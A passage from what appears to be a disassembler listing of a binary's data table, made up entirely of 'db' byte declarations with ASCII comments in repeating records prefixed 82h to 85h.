82h ; db 0EEh ; db 7 ; db 0Ah ; db 82h ; db 0EFh ; db 10h ; db 3 ; db 82h ; db 0EFh ; db 8 ; db 0Ah ; db 82h ; db 0F0h ; db 1 ; db 1 ; db 82h ; db 0F0h ; db 13h ; db 2 ; db 82h ; db 0F1h ; db 96h ; db 2 ; db 82h ; db 0F1h ; db 19h ; db 5 ; db 82h ; db 0F5h ; db 1 ; db 0Fh ; db 82h ; db 0F6h ; db 48h ; H db 15h ; db 82h ; db 0F6h ; db 8 ; db 0Dh ; db 82h ; db 0FBh ; db 1 ; db 4 ; db 82h ; db 0FBh ; db 15h ; db 8 ; db 82h ; db 0FDh ; db 1 ; db 0Dh ; db 82h ; db 0FEh ; db 4 ; db 1 ; db 82h ; db 21h ; ! db 8 ; db 1Bh ; db 82h ; db 21h ; ! db 8 ; db 29h ; ) db 82h ; db 22h ; " db 0Bh ; db 6Fh ; o db 82h ; db 22h ; " db 0Bh ; db 75h ; u db 82h ; db 24h ; $ db 1Eh ; db 0Dh ; db 82h ; db 24h ; $ db 3Dh ; = db 0C8h ; db 82h ; db 24h ; $ db 3Eh ; > db 0C8h ; db 82h ; db 25h ; % db 81h ; db 4 ; db 82h ; db 25h ; % db 18h ; db 6 ; db 82h ; db 27h ; ' db 80h ; db 47h ; G db 82h ; db 27h ; ' db 0FEh ; db 1Eh ; db 82h ; db 27h ; ' db 0FEh ; db 5 ; db 82h ; db 27h ; ' db 3 ; db 5 ; db 82h ; db 29h ; ) db 1 ; db 0FBh ; db 82h ; db 2Ch ; , db 0D2h ; db 0Eh ; db 82h ; db 2Fh ; / db 22h ; " db 2 ; db 82h ; db 32h ; 2 db 17h ; db 2 ; db 82h ; db 35h ; 5 db 1 ; db 8 ; db 82h ; db 35h ; 5 db 1 ; db 9 ; db 82h ; db 36h ; 6 db 8 ; db 0Dh ; db 82h ; db 39h ; 9 db 1Bh ; db 1 ; db 82h ; db 39h ; 9 db 4 ; db 1 ; db 82h ; db 3Ah ; : db 44h ; D db 0Ah ; db 82h ; db 3Bh ; ; db 1 ; db 1Eh ; db 82h ; db 3Bh ; ; db 0Ah ; db 1Eh ; db 82h ; db 3Ch ; < db 80h ; db 3 ; db 82h ; db 3Ch ; < db 44h ; D db 33h ; 3 db 82h ; db 3Fh ; ? db 0A8h ; db 15h ; db 82h ; db 3Fh ; ? db 0EDh ; db 63h ; c db 82h ; db 40h ; @ db 1 ; db 8 ; db 82h ; db 40h ; @ db 5 ; db 8 ; db 82h ; db 41h ; A db 78h ; x db 1 ; db 82h ; db 41h ; A db 19h ; db 1 ; db 82h ; db 41h ; A db 3 ; db 1 ; db 82h ; db 42h ; B db 21h ; ! db 3 ; db 82h ; db 43h ; C db 3Ch ; < db 42h ; B db 82h ; db 46h ; F db 28h ; ( db 19h ; db 82h ; db 47h ; G db 80h ; db 8 ; db 82h ; db 49h ; I db 6Ch ; l db 1 ; db 82h ; db 4Ah ; J db 1 ; db 4Bh ; K db 82h ; db 4Ah ; J db 80h ; db 4 ; db 82h ; db 4Bh ; K db 1 ; db 20h ; db 82h ; db 4Eh ; N db 8Fh ; db 1 ; db 82h ; db 4Fh ; O db 0C8h ; db 1 ; db 82h ; db 50h ; P db 1Dh ; db 16h ; db 82h ; db 52h ; R db 80h ; db 1 ; db 82h ; db 52h ; R db 80h ; db 2 ; db 82h ; db 53h ; S db 16h ; db 3Ch ; < db 82h ; db 53h ; S db 16h ; db 3Fh ; ? db 82h ; db 53h ; S db 38h ; 8 db 3Ch ; < db 82h ; db 54h ; T db 20h ; db 8 ; db 82h ; db 54h ; T db 8 ; db 0Eh ; db 82h ; db 55h ; U db 1 ; db 3 ; db 82h ; db 55h ; U db 1 ; db 4 ; db 82h ; db 55h ; U db 1 ; db 5 ; db 82h ; db 57h ; W db 22h ; " db 2 ; db 82h ; db 57h ; W db 22h ; " db 6 ; db 82h ; db 58h ; X db 0C0h ; db 2 ; db 82h ; db 58h ; X db 0C8h ; db 4 ; db 82h ; db 58h ; X db 0C8h ; db 6 ; db 82h ; db 59h ; Y db 1 ; db 2 ; db 82h ; db 59h ; Y db 0DCh ; db 2 ; db 82h ; db 5Ch ; \ db 9 ; db 34h ; 4 db 82h ; db 5Fh ; _ db 80h ; db 1 ; db 82h ; db 5Fh ; _ db 80h ; db 2 ; db 83h ; db 0Ah ; db 0FEh ; db 28h ; ( db 83h ; db 0Ah ; db 0FEh ; db 3Ch ; < db 83h ; db 67h ; g db 1 ; db 65h ; e db 83h ; db 68h ; h db 88h ; db 0Bh ; db 83h ; db 68h ; h db 14h ; db 0Ah ; db 83h ; db 68h ; h db 60h ; ` db 14h ; db 83h ; db 6Ah ; j db 1 ; db 29h ; ) db 83h ; db 6Bh ; k db 1 ; db 0F0h ; db 83h ; db 6Dh ; m db 1Fh ; db 64h ; d db 83h ; db 6Eh ; n db 34h ; 4 db 0C8h ; db 83h ; db 6Eh ; n db 34h ; 4 db 0C9h ; db 83h ; db 6Fh ; o db 0Ch ; db 14h ; db 83h ; db 6Fh ; o db 8 ; db 2Ah ; * db 83h ; db 70h ; p db 7Dh ; } db 10h ; db 83h ; db 70h ; p db 7Dh ; } db 4 ; db 83h ; db 71h ; q db 1 ; db 1 ; db 83h ; db 72h ; r db 15h ; db 0Ah ; db 83h ; db 73h ; s db 73h ; s db 32h ; 2 db 83h ; db 73h ; s db 0Fh ; db 7 ; db 83h ; db 76h ; v db 1 ; db 1Eh ; db 83h ; db 76h ; v db 0FEh ; db 1 ; db 83h ; db 76h ; v db 0FEh ; db 81h ; db 83h ; db 77h ; w db 0F5h ; db 5 ; db 83h ; db 77h ; w db 0F5h ; db 6 ; db 83h ; db 78h ; x db 0FEh ; db 34h ; 4 db 83h ; db 78h ; x db 0FEh ; db 3Ah ; : db 83h ; db 79h ; y db 1 ; db 1 ; db 83h ; db 79h ; y db 1 ; db 2 ; db 83h ; db 7Bh ; { db 1 ; db 1 ; db 83h ; db 7Dh ; } db 1 ; db 1 ; db 83h ; db 7Eh ; ~ db 0DCh ; db 6 ; db 83h ; db 80h ; db 1 ; db 7Fh ;  db 83h ; db 82h ; db 1 ; db 0Bh ; db 83h ; db 82h ; db 1 ; db 0Ch ; db 83h ; db 83h ; db 0Ah ; db 14h ; db 83h ; db 83h ; db 83h ; db 83h ; db 83h ; db 88h ; db 0F2h ; db 3 ; db 83h ; db 88h ; db 0F2h ; db 4 ; db 83h ; db 89h ; db 0FFh ; db 2 ; db 83h ; db 89h ; db 60h ; ` db 3 ; db 83h ; db 0Eh ; db 78h ; x db 0Ch ; db 83h ; db 0Eh ; db 91h ; db 0Bh ; db 83h ; db 90h ; db 4 ; db 0Ah ; db 83h ; db 90h ; db 4 ; db 9 ; db 83h ; db 92h ; db 2 ; db 1 ; db 83h ; db 95h ; db 0 ; db 3 ; db 83h ; db 95h ; db 1 ; db 2 ; db 83h ; db 0Fh ; db 88h ; db 2 ; db 83h ; db 97h ; db 1 ; db 7 ; db 83h ; db 97h ; db 0FEh ; db 0F3h ; db 83h ; db 9Ah ; db 1 ; db 0Bh ; db 83h ; db 9Ah ; db 1 ; db 3 ; db 83h ; db 9Ah ; db 3 ; db 1 ; db 83h ; db 9Bh ; db 2 ; db 3 ; db 83h ; db 9Bh ; db 2 ; db 7 ; db 83h ; db 9Ch ; db 1 ; db 0Bh ; db 83h ; db 9Ch ; db 7Eh ; ~ db 2 ; db 83h ; db 9Eh ; db 4 ; db 7 ; db 83h ; db 9Eh ; db 4 ; db 8 ; db 83h ; db 9Eh ; db 32h ; 2 db 28h ; ( db 83h ; db 9Eh ; db 32h ; 2 db 41h ; A db 83h ; db 9Fh ; db 0 ; db 1 ; db 83h ; db 9Fh ; db 0 ; db 51h ; Q db 83h ; db 0A1h ; db 1 ; db 1 ; db 83h ; db 0A1h ; db 2 ; db 1 ; db 83h ; db 0A1h ; db 0E9h ; db 2Eh ; . db 83h ; db 0A1h ; db 0F6h ; db 0F1h ; db 83h ; db 0A1h ; db 0FAh ; db 67h ; g db 83h ; db 0A1h ; db 3 ; db 1 ; db 83h ; db 0A1h ; db 3Ch ; < db 0Ah ; db 83h ; db 0A2h ; db 2 ; db 5Ah ; Z db 83h ; db 0A5h ; db 3Fh ; ? db 51h ; Q db 83h ; db 0A5h ; db 3Fh ; ? db 53h ; S db 83h ; db 0A6h ; db 1 ; db 5 ; db 83h ; db 0A7h ; db 1 ; db 2 ; db 83h ; db 0A9h ; db 0C8h ; db 2 ; db 83h ; db 11h ; db 0B1h ; db 1 ; db 83h ; db 0AAh ; db 1 ; db 1 ; db 83h ; db 0ABh ; db 0Bh ; db 0Bh ; db 83h ; db 0ACh ; db 2 ; db 2 ; db 83h ; db 0ADh ; db 0F5h ; db 1 ; db 83h ; db 0ADh ; db 0F5h ; db 2 ; db 83h ; db 0AEh ; db 0E0h ; db 4 ; db 83h ; db 0AEh ; db 3Ch ; < db 15h ; db 83h ; db 0AFh ; db 1 ; db 2 ; db 83h ; db 0AFh ; db 1 ; db 4 ; db 83h ; db 0B0h ; db 1Ah ; db 2 ; db 83h ; db 0B0h ; db 1Ah ; db 3 ; db 83h ; db 0B2h ; db 1 ; db 1 ; db 83h ; db 0B2h ; db 26h ; & db 27h ; ' db 83h ; db 0B3h ; db 80h ; db 10h ; db 83h ; db 0B3h ; db 80h ; db 1Eh ; db 83h ; db 0B5h ; db 1 ; db 3 ; db 83h ; db 0B5h ; db 0FEh ; db 63h ; c db 83h ; db 0B5h ; db 47h ; G db 0Ch ; db 83h ; db 0B5h ; db 47h ; G db 2 ; db 83h ; db 0B5h ; db 61h ; a db 0Ah ; db 83h ; db 0B7h ; db 1 ; db 1 ; db 83h ; db 0B8h ; db 60h ; ` db 21h ; ! db 83h ; db 0BCh ; db 3 ; db 2 ; db 83h ; db 0BCh ; db 2Ch ; , db 2Dh ; - db 83h ; db 0BDh ; db 0A5h ; db 0EFh ; db 83h ; db 0BDh ; db 1Dh ; db 0F1h ; db 83h ; db 0BFh ; db 0FEh ; db 28h ; ( db 83h ; db 0BFh ; db 7 ; db 3 ; db 83h ; db 0C1h ; db 20h ; db 0FEh ; db 83h ; db 0C1h ; db 28h ; ( db 0FEh ; db 83h ; db 0C2h ; db 82h ; db 0Bh ; db 83h ; db 0C2h ; db 97h ; db 1 ; db 83h ; db 0C9h ; db 0B1h ; db 0Bh ; db 83h ; db 0CAh ; db 1 ; db 3 ; db 83h ; db 0CAh ; db 3 ; db 4 ; db 83h ; db 0CBh ; db 1 ; db 5 ; db 83h ; db 0CBh ; db 0F8h ; db 1 ; db 83h ; db 0CCh ; db 0Ah ; db 0Dh ; db 83h ; db 0CCh ; db 2 ; db 0Ah ; db 83h ; db 0CCh ; db 29h ; ) db 3 ; db 83h ; db 0CEh ; db 2 ; db 0Ah ; db 83h ; db 0CFh ; db 1 ; db 0Bh ; db 83h ; db 0D1h ; db 1 ; db 10h ; db 83h ; db 0D1h ; db 1 ; db 4 ; db 83h ; db 0D2h ; db 1 ; db 0Fh ; db 83h ; db 0D3h ; db 10h ; db 20h ; db 83h ; db 0D3h ; db 4 ; db 5 ; db 83h ; db 0D3h ; db 4 ; db 6 ; db 83h ; db 0D7h ; db 8Bh ; db 64h ; d db 83h ; db 0D7h ; db 0FEh ; db 64h ; d db 83h ; db 0D7h ; db 0FEh ; db 63h ; c db 83h ; db 0D8h ; db 1 ; db 0Bh ; db 83h ; db 0D8h ; db 16h ; db 2 ; db 83h ; db 0D9h ; db 1 ; db 13h ; db 83h ; db 0D9h ; db 0Ah ; db 1 ; db 83h ; db 0DCh ; db 0Eh ; db 0CBh ; db 83h ; db 0DCh ; db 10h ; db 0DCh ; db 83h ; db 0DCh ; db 12h ; db 8Ah ; db 83h ; db 0E0h ; db 1 ; db 14h ; db 83h ; db 0E0h ; db 2 ; db 0Ch ; db 83h ; db 0E1h ; db 11h ; db 96h ; db 83h ; db 0E1h ; db 8 ; db 78h ; x db 83h ; db 0E3h ; db 64h ; d db 0Ch ; db 83h ; db 0E3h ; db 66h ; f db 6 ; db 83h ; db 0E3h ; db 66h ; f db 5Bh ; [ db 83h ; db 0E4h ; db 14h ; db 13h ; db 83h ; db 0E4h ; db 14h ; db 14h ; db 83h ; db 0E5h ; db 40h ; @ db 2 ; db 83h ; db 0E6h ; db 0FCh ; db 1 ; db 83h ; db 0E6h ; db 0FCh ; db 2 ; db 83h ; db 0E7h ; db 10h ; db 10h ; db 83h ; db 0E7h ; db 10h ; db 7 ; db 83h ; db 0E8h ; db 0Ah ; db 2 ; db 83h ; db 0EAh ; db 16h ; db 3 ; db 83h ; db 0EAh ; db 16h ; db 1Eh ; db 83h ; db 0ECh ; db 1 ; db 11h ; db 83h ; db 0ECh ; db 1 ; db 2 ; db 83h ; db 0EEh ; db 4Bh ; K db 0A5h ; db 83h ; db 18h ; db 77h ; w db 0Ah ; db 83h ; db 0F1h ; db 0Fh ; db 5 ; db 83h ; db 0F3h ; db 40h ; @ db 2 ; db 83h ; db 0F3h ; db 40h ; @ db 3 ; db 83h ; db 0F4h ; db 1 ; db 1 ; db 83h ; db 0F4h ; db 0Eh ; db 1 ; db 83h ; db 0F6h ; db 89h ; db 32h ; 2 db 83h ; db 0F6h ; db 9 ; db 74h ; t db 83h ; db 0F7h ; db 1 ; db 28h ; ( db 83h ; db 0F7h ; db 64h ; d db 1 ; db 83h ; db 0F8h ; db 3Ah ; : db 1 ; db 83h ; db 0F9h ; db 1 ; db 2 ; db 83h ; db 0FAh ; db 40h ; @ db 0Eh ; db 83h ; db 0FAh ; db 40h ; @ db 2 ; db 83h ; db 0FBh ; db 0 ; db 0Ah ; db 83h ; db 0FBh ; db 0 ; db 4 ; db 83h ; db 0FCh ; db 81h ; db 35h ; 5 db 83h ; db 0FCh ; db 0D0h ; db 26h ; & db 83h ; db 0FEh ; db 0FEh ; db 2 ; db 83h ; db 0FEh ; db 6 ; db 80h ; db 83h ; db 3 ; db 80h ; db 4 ; db 83h ; db 1Eh ; db 0E0h ; db 7 ; db 83h ; db 20h ; db 0F6h ; db 2 ; db 83h ; db 23h ; # db 8Ah ; db 2 ; db 83h ; db 24h ; $ db 74h ; t db 20h ; db 83h ; db 24h ; $ db 74h ; t db 3Bh ; ; db 83h ; db 25h ; % db 0CEh ; db 2 ; db 83h ; db 25h ; % db 0CEh ; db 19h ; db 83h ; db 26h ; & db 0D6h ; db 2 ; db 83h ; db 26h ; & db 0D6h ; db 6 ; db 83h ; db 27h ; ' db 0F8h ; db 2 ; db 83h ; db 27h ; ' db 0F8h ; db 6 ; db 83h ; db 2Ch ; , db 79h ; y db 5 ; db 83h ; db 2Eh ; . db 29h ; ) db 33h ; 3 db 83h ; db 2Eh ; . db 29h ; ) db 36h ; 6 db 83h ; db 2Fh ; / db 64h ; d db 1Eh ; db 83h ; db 30h ; 0 db 0F0h ; db 3 ; db 83h ; db 32h ; 2 db 97h ; db 3 ; db 83h ; db 32h ; 2 db 97h ; db 5 ; db 83h ; db 33h ; 3 db 80h ; db 5 ; db 83h ; db 34h ; 4 db 79h ; y db 2 ; db 83h ; db 34h ; 4 db 79h ; y db 4 ; db 83h ; db 35h ; 5 db 80h ; db 3 ; db 83h ; db 35h ; 5 db 80h ; db 35h ; 5 db 83h ; db 36h ; 6 db 79h ; y db 1 ; db 83h ; db 36h ; 6 db 79h ; y db 0Bh ; db 83h ; db 36h ; 6 db 79h ; y db 14h ; db 83h ; db 37h ; 7 db 79h ; y db 0Bh ; db 83h ; db 37h ; 7 db 79h ; y db 2 ; db 83h ; db 3Ah ; : db 0D0h ; db 0FAh ; db 83h ; db 3Bh ; ; db 0C8h ; db 0Ah ; db 83h ; db 3Bh ; ; db 0C8h ; db 3 ; db 83h ; db 6 ; db 54h ; T db 2 ; db 83h ; db 6 ; db 54h ; T db 3 ; db 83h ; db 6 ; db 54h ; T db 45h ; E db 83h ; db 3Dh ; = db 0D3h ; db 0Bh ; db 83h ; db 3Dh ; = db 0D3h ; db 2 ; db 83h ; db 3Fh ; ? db 32h ; 2 db 1 ; db 83h ; db 3Fh ; ? db 32h ; 2 db 2 ; db 83h ; db 40h ; @ db 4 ; db 4 ; db 83h ; db 40h ; @ db 8 ; db 1 ; db 83h ; db 42h ; B db 1 ; db 2 ; db 83h ; db 44h ; D db 3 ; db 1 ; db 83h ; db 7 ; db 34h ; 4 db 3 ; db 83h ; db 7 ; db 34h ; 4 db 9 ; db 83h ; db 4Ah ; J db 0A0h ; db 67h ; g db 83h ; db 4Ah ; J db 0A0h ; db 68h ; h db 83h ; db 4Dh ; M db 3Ch ; < db 0FDh ; db 83h ; db 4Dh ; M db 3Dh ; = db 0FDh ; db 83h ; db 50h ; P db 1 ; db 0Ch ; db 83h ; db 50h ; P db 1 ; db 8 ; db 83h ; db 51h ; Q db 1 ; db 1 ; db 83h ; db 54h ; T db 1 ; db 29h ; ) db 83h ; db 54h ; T db 1 ; db 2Ah ; * db 83h ; db 59h ; Y db 80h ; db 0Ah ; db 83h ; db 5Dh ; ] db 0 ; db 1 ; db 83h ; db 5Eh ; ^ db 80h ; db 2 ; db 83h ; db 5Fh ; _ db 54h ; T db 2 ; db 84h ; db 1 ; db 0CFh ; db 2 ; db 84h ; db 1 ; db 0CFh ; db 3 ; db 84h ; db 0Ah ; db 0FAh ; db 0Fh ; db 84h ; db 0Ah ; db 0FAh ; db 3 ; db 84h ; db 92h ; db 89h ; db 1 ; db 84h ; db 92h ; db 5 ; db 1 ; db 84h ; db 93h ; db 80h ; db 2 ; db 84h ; db 93h ; db 40h ; @ db 1 ; db 84h ; db 94h ; db 50h ; P db 0D3h ; db 84h ; db 0Fh ; db 0E1h ; db 2 ; db 84h ; db 0Fh ; db 0E1h ; db 0D2h ; db 84h ; db 0Fh ; db 0E1h ; db 0D3h ; db 84h ; db 96h ; db 8 ; db 1 ; db 84h ; db 97h ; db 1 ; db 1 ; db 84h ; db 97h ; db 1 ; db 13h ; db 84h ; db 99h ; db 3 ; db 2 ; db 84h ; db 9Ch ; db 24h ; $ db 1 ; db 84h ; db 9Ch ; db 24h ; $ db 0Eh ; db 84h ; db 9Eh ; db 31h ; 1 db 3 ; db 84h ; db 9Eh ; db 52h ; R db 24h ; $ db 84h ; db 10h ; db 73h ; s db 0Ah ; db 84h ; db 0A1h ; db 0Ah ; db 3Ch ; < db 84h ; db 0A2h ; db 20h ; db 0F3h ; db 84h ; db 0A3h ; db 4 ; db 9 ; db 84h ; db 0A6h ; db 0C0h ; db 6 ; db 84h ; db 0A6h ; db 0C0h ; db 7 ; db 84h ; db 0A8h ; db 94h ; db 0Bh ; db 84h ; db 0A9h ; db 80h ; db 1 ; db 84h ; db 0AAh ; db 0F0h ; db 0Fh ; db 84h ; db 0AAh ; db 0F9h ; db 0Fh ; db 84h ; db 0AEh ; db 0Bh ; db 0FCh ; db 84h ; db 0AEh ; db 0Bh ; db 0FDh ; db 84h ; db 0AFh ; db 1 ; db 3 ; db 84h ; db 0AFh ; db 0F9h ; db 6 ; db 84h ; db 0B0h ; db 72h ; r db 17h ; db 84h ; db 0B0h ; db 72h ; r db 18h ; db 84h ; db 0B0h ; db 41h ; A db 14h ; db 84h ; db 0B1h ; db 64h ; d db 1Fh ; db 84h ; db 0B1h ; db 65h ; e db 20h ; db 84h ; db 0B1h ; db 80h ; db 38h ; 8 db 84h ; db 0B1h ; db 80h ; db 63h ; c db 84h ; db 0B2h ; db 10h ; db 3 ; db 84h ; db 0B3h ; db 27h ; ' db 1 ; db 84h ; db 12h ; db 80h ; db 2 ; db 84h ; db 12h ; db 80h ; db 32h ; 2 db 84h ; db 0B4h ; db 0Fh ; db 4 ; db 84h ; db 0B4h ; db 0Fh ; db 5 ; db 84h ; db 0B5h ; db 2 ; db 26h ; & db 84h ; db 0B5h ; db 2 ; db 27h ; ' db 84h ; db 0B7h ; db 1 ; db 0Bh ; db 84h ; db 0B9h ; db 84h ; db 15h ; db 84h ; db 0BBh ; db 1 ; db 1 ; db 84h ; db 0BBh ; db 1 ; db 3 ; db 84h ; db 0BDh ; db 4Ch ; L db 0Ah ; db 84h ; db 13h ; db 4Bh ; K db 32h ; 2 db 84h ; db 0BEh ; db 5Ch ; \ db 0Fh ; db 84h ; db 0C0h ; db 1 ; db 0Bh ; db 84h ; db 0C0h ; db 1 ; db 0Dh ; db 84h ; db 0C2h ; db 0Ah ; db 3 ; db 84h ; db 0C3h ; db 14h ; db 0Dh ; db 84h ; db 0C3h ; db 14h ; db 3 ; db 84h ; db 0C3h ; db 7 ; db 1Fh ; db 84h ; db 0C5h ; db 0F8h ; db 0Ah ; db 84h ; db 0C5h ; db 0F8h ; db 9 ; db 84h ; db 0C5h ; db 0F8h ; db 5Ah ; Z db 84h ; db 0C6h ; db 0C9h ; db 0Ah ; db 84h ; db 0C6h ; db 0CAh ; db 0Ah ; db 84h ; db 0C7h ; db 1 ; db 0A3h ; db 84h ; db 0C7h ; db 1 ; db 2 ; db 84h ; db 14h ; db 0FBh ; db 0Ch ; db 84h ; db 14h ; db 0FBh ; db 2 ; db 84h ; db 0C8h ; db 20h ; db 22h ; " db 84h ; db 0CBh ; db 0FAh ; db 0Ah ; db 84h ; db 0CCh ; db 2 ; db 66h ; f db 84h ; db 0CCh ; db 2 ; db 67h ; g db 84h ; db 0CCh ; db 2 ; db 16h ; db 84h ; db 0CDh ; db 1 ; db 1 ; db 84h ; db 0CDh ; db 7 ; db 33h ; 3 db 84h ; db 0CEh ; db 1 ; db 0Bh ; db 84h ; db 0CEh ; db 2Ch ; , db 15h ; db 84h ; db 0CFh ; db 90h ; db 2 ; db 84h ; db 0D0h ; db 0FAh ; db 1 ; db 84h ; db 0D1h ; db 2 ; db 1 ; db 84h ; db 0D1h ; db 5 ; db 1 ; db 84h ; db 0D2h ; db 0Dh ; db 2 ; db 84h ; db 0D3h ; db 1 ; db 0Ah ; db 84h ; db 0D4h ; db 0Bh ; db 49h ; I db 84h ; db 0D4h ; db 0Bh ; db 9 ; db 84h ; db 0D5h ; db 1 ; db 1Bh ; db 84h ; db 0D6h ; db 1 ; db 63h ; c db 84h ; db 0D7h ; db 30h ; 0 db 0Fh ; db 84h ; db 0DAh ; db 1 ; db 0Ch ; db 84h ; db 16h ; db 0FEh ; db 0E6h ; db 84h ; db 16h ; db 0FEh ; db 0E8h ; db 84h ; db 0DDh ; db 24h ; $ db 82h ; db 84h ; db 0DEh ; db 78h ; x db 0Ch ; db 84h ; db 0DEh ; db 78h ; x db 0Dh ; db 84h ; db 0DFh ; db 4 ; db 1 ; db 84h ; db 0E1h ; db 5 ; db 0Ah ; db 84h ; db 0E1h ; db 5 ; db 20h ; db 84h ; db 0E2h ; db 10h ; db 14h ; db 84h ; db 0E3h ; db 3Ch ; < db 2 ; db 84h ; db 0E3h ; db 3Ch ; < db 1Eh ; db 84h ; db 0E3h ; db 40h ; @ db 0Dh ; db 84h ; db 0E5h ; db 16h ; db 2 ; db 84h ; db 0E5h ; db 8 ; db 6 ; db 84h ; db 17h ; db 0C0h ; db 22h ; " db 84h ; db 17h ; db 0C0h ; db 23h ; # db 84h ; db 0E6h ; db 0C8h ; db 0C8h ; db 84h ; db 0E7h ; db 1 ; db 1Eh ; db 84h ; db 0E7h ; db 14h ; db 64h ; d db 84h ; db 0E7h ; db 33h ; 3 db 4 ; db 84h ; db 0E9h ; db 0F7h ; db 0Ah ; db 84h ; db 0E9h ; db 0F7h ; db 0Bh ; db 84h ; db 0EAh ; db 1 ; db 1 ; db 84h ; db 0EAh ; db 0FAh ; db 1Fh ; db 84h ; db 0EBh ; db 40h ; @ db 1 ; db 84h ; db 0EBh ; db 40h ; @ db 2 ; db 84h ; db 0EDh ; db 1 ; db 2Ah ; * db 84h ; db 0EDh ; db 2 ; db 51h ; Q db 84h ; db 0EFh ; db 1 ; db 34h ; 4 db 84h ; db 18h ; db 7Eh ; ~ db 5 ; db 84h ; db 18h ; db 7Eh ; ~ db 7 ; db 84h ; db 0F1h ; db 8Ch ; db 0Ah ; db 84h ; db 0F1h ; db 8Ch ; db 0Bh ; db 84h ; db 0F1h ; db 6 ; db 0Ah ; db 84h ; db 0F1h ; db 42h ; B db 6 ; db 84h ; db 0F1h ; db 50h ; P db 1 ; db 84h ; db 0F1h ; db 50h ; P db 0Ah ; db 84h ; db 0F5h ; db 21h ; ! db 7 ; db 84h ; db 0F6h ; db 0A1h ; db 64h ; d db 84h ; db 0F6h ; db 0A1h ; db 0C8h ; db 84h ; db 0F8h ; db 0Ah ; db 2 ; db 84h ; db 0F8h ; db 0CCh ; db 1 ; db 84h ; db 0F8h ; db 0EDh ; db 0FAh ; db 84h ; db 0F8h ; db 40h ; @ db 0FAh ; db 84h ; db 0F9h ; db 14h ; db 19h ; db 84h ; db 0F9h ; db 28h ; ( db 19h ; db 84h ; db 19h ; db 58h ; X db 0D3h ; db 84h ; db 0FAh ; db 6Ch ; l db 0Ch ; db 84h ; db 0FAh ; db 6Ch ; l db 83h ; db 84h ; db 0FAh ; db 6Eh ; n db 0Ch ; db 84h ; db 0FAh ; db 74h ; t db 0Ch ; db 84h ; db 0FCh ; db 1 ; db 7 ; db 84h ; db 0FCh ; db 3 ; db 0Ah ; db 84h ; db 0FEh ; db 1 ; db 0Bh ; db 84h ; db 1Eh ; db 0C7h ; db 1 ; db 84h ; db 1Eh ; db 0C7h ; db 37h ; 7 db 84h ; db 20h ; db 0C9h ; db 5 ; db 84h ; db 20h ; db 0C9h ; db 6 ; db 84h ; db 21h ; ! db 84h ; db 6 ; db 84h ; db 22h ; " db 0F8h ; db 1 ; db 84h ; db 23h ; # db 0C3h ; db 0Bh ; db 84h ; db 23h ; # db 0C3h ; db 0Dh ; db 84h ; db 26h ; & db 0BEh ; db 3 ; db 84h ; db 26h ; & db 0BEh ; db 4 ; db 84h ; db 28h ; ( db 79h ; y db 2 ; db 84h ; db 28h ; ( db 79h ; y db 4 ; db 84h ; db 29h ; ) db 78h ; x db 2 ; db 84h ; db 2Ah ; * db 80h ; db 2 ; db 84h ; db 2Dh ; - db 0C0h ; db 6 ; db 84h ; db 2Eh ; . db 74h ; t db 1 ; db 84h ; db 2Eh ; . db 74h ; t db 0Bh ; db 84h ; db 2Fh ; / db 80h ; db 3 ; db 84h ; db 30h ; 0 db 0F1h ; db 2 ; db 84h ; db 30h ; 0 db 0F1h ; db 3 ; db 84h ; db 31h ; 1 db 0DDh ; db 1 ; db 84h ; db 31h ; 1 db 0DDh ; db 1Eh ; db 84h ; db 5 ; db 48h ; H db 0Ah ; db 84h ; db 33h ; 3 db 0A3h ; db 3 ; db 84h ; db 34h ; 4 db 9Ah ; db 0Ah ; db 84h ; db 34h ; 4 db 9Ah ; db 14h ; db 84h ; db 37h ; 7 db 82h ; db 3 ; db 84h ; db 38h ; 8 db 78h ; x db 0Ch ; db 84h ; db 38h ; 8 db 78h ; x db 0Dh ; db 84h ; db 3Ah ; : db 0DEh ; db 13h ; db 84h ; db 3Ah ; : db 0DEh ; db 14h ; db 84h ; db 3Ch ; < db 0F0h ; db 5 ; db 84h ; db 3Ch ; < db 0F0h ; db 7 ; db 84h ; db 3Ch ; < db 0F0h ; db 8 ; db 84h ; db 3Dh ; = db 0B0h ; db 8 ; db 84h ; db 3Eh ; > db 58h ; X db 5Fh ; _ db 84h ; db 41h ; A db 10h ; db 8 ; db 84h ; db 46h ; F db 9 ; db 64h ; d db 84h ; db 46h ; F db 9 ; db 18h ; db 84h ; db 48h ; H db 8Ch ; db 2Dh ; - db 84h ; db 48h ; H db 8Ch ; db 2Eh ; . db 84h ; db 4Ah ; J db 1 ; db 3 ; db 84h ; db 4Ah ; J db 1 ; db 5 ; db 84h ; db 4Ch ; L db 3Fh ; ? db 1Bh ; db 84h ; db 4Ch ; L db 40h ; @ db 37h ; 7 db 84h ; db 4Ch ; L db 50h ; P db 34h ; 4 db 84h ; db 8 ; db 79h ; y db 0Eh ; db 84h ; db 50h ; P db 0Dh ; db 0Ah ; db 84h ; db 50h ; P db 2 ; db 0Bh ; db 84h ; db 50h ; P db 0C8h ; db 0FAh ; db 84h ; db 9 ; db 7Fh ;  db 0Fh ; db 85h ; db 1 ; db 68h ; h db 0C4h ; db 85h ; db 1 ; db 69h ; i db 5 ; db 85h ; db 1 ; db 0Bh ; db 6 ; db 85h ; db 1 ; db 70h ; p db 10h ; db 85h ; db 1 ; db 73h ; s db 0Ah ; db 85h ; db 1 ; db 74h ; t db 1 ; db 85h ; db 1 ; db 75h ; u db 5 ; db 85h ; db 1 ; db 77h ; w db 1 ; db 85h ; db 1 ; db 78h ; x db 1 ; db 85h ; db 1 ; db 78h ; x db 2 ; db 85h ; db 1 ; db 78h ; x db 3 ; db 85h ; db 1 ; db 79h ; y db 5 ; db 85h ; db 1 ; db 7Ah ; z db 32h ; 2 db 85h ; db 1 ; db 7Ch ; | db 2 ; db 85h ; db 1 ; db 7Ch ; | db 3 ; db 85h ; db 1 ; db 7Ch ; | db 5 ; db 85h ; db 1 ; db 7Eh ; ~ db 17h ; db 85h ; db 1 ; db 80h ; db 1 ; db 85h ; db 1 ; db 83h ; db 0F1h ; db 85h ; db 1 ; db 84h ; db 46h ; F db 85h ; db 1 ; db 85h ; db 5 ; db 85h ; db 1 ; db 86h ; db 0F0h ; db 85h ; db 1 ; db 87h ; db 10h ; db 85h ; db 1 ; db 88h ; db 0Ah ; db 85h ; db 1 ; db 88h ; db 1Eh ; db 85h ; db 1 ; db 8Ah ; db 1 ; db 85h ; db 1 ; db 8Bh ; db 0D3h ; db 85h ; db 1 ; db 8Eh ; db 3 ; db 85h ; db 1 ; db 90h ; db 82h ; db 85h ; db 1 ; db 91h ; db 5 ; db 85h ; db 1 ; db 92h ; db 0FAh ; db 85h ; db 1 ; db 94h ; db 0FAh ; db 